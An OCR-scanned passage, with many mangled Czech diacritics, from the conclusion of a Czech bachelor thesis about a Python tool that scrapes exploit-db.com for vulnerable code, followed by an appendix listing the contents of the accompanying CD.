stranka exploit-db.com pro§la bé¢hem feSeni problému nckolika obménami, pficemz dvé stézZejni
zmény zapfiCinily nefunkénost puvodni prace. K posledni zméné doslo na jafe roku 2016, tedy
v kratkém ¢asovém horizontu do odevzdani této prace.

Nedoslo tedy k uplnému vyhotoveni — nastroj dokaze stahnout pouze zranitelny kod (a prislusné
informace o ném), nybrz ne aplikace jako takové. Vzhledem k nefunkcnosti pivodniho skriptu byla
zadost o prezkoumani prace a pokus o jeji vyhotoveni pomoci jazyka Java a objektové orientované
databaze. Tento pokus se nezdaril, nebot’ nebylo mozné v takto kratkém obdobi ud¢€lat fadné parsovani
(jako d¢la v Pythonu Beautiful Soup) a propojit s databazi do té miry, aby vSe fungovalo bez
problému. Proto byl povolen navrat k jazyku Python a rela¢ni databazi.

Je nutné poznamenat, Ze nastroj je funkéni k datu 17. kvétna 2016, ale je mozné, Ze stranka exploit-
db.com, ktera je stale ve fazi vylepSovani a aktualizaci, pfijde opét se¢ zasadnimi zménami, které
zapfticini nefunkénost celého skriptu.
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Priloha A

Obsah CD

e Zdrojové kody
e Kompletni kody pouzitych exploiti ve formatu DOC
e Zdrojovy text bakalarské prace ve formatu PDF
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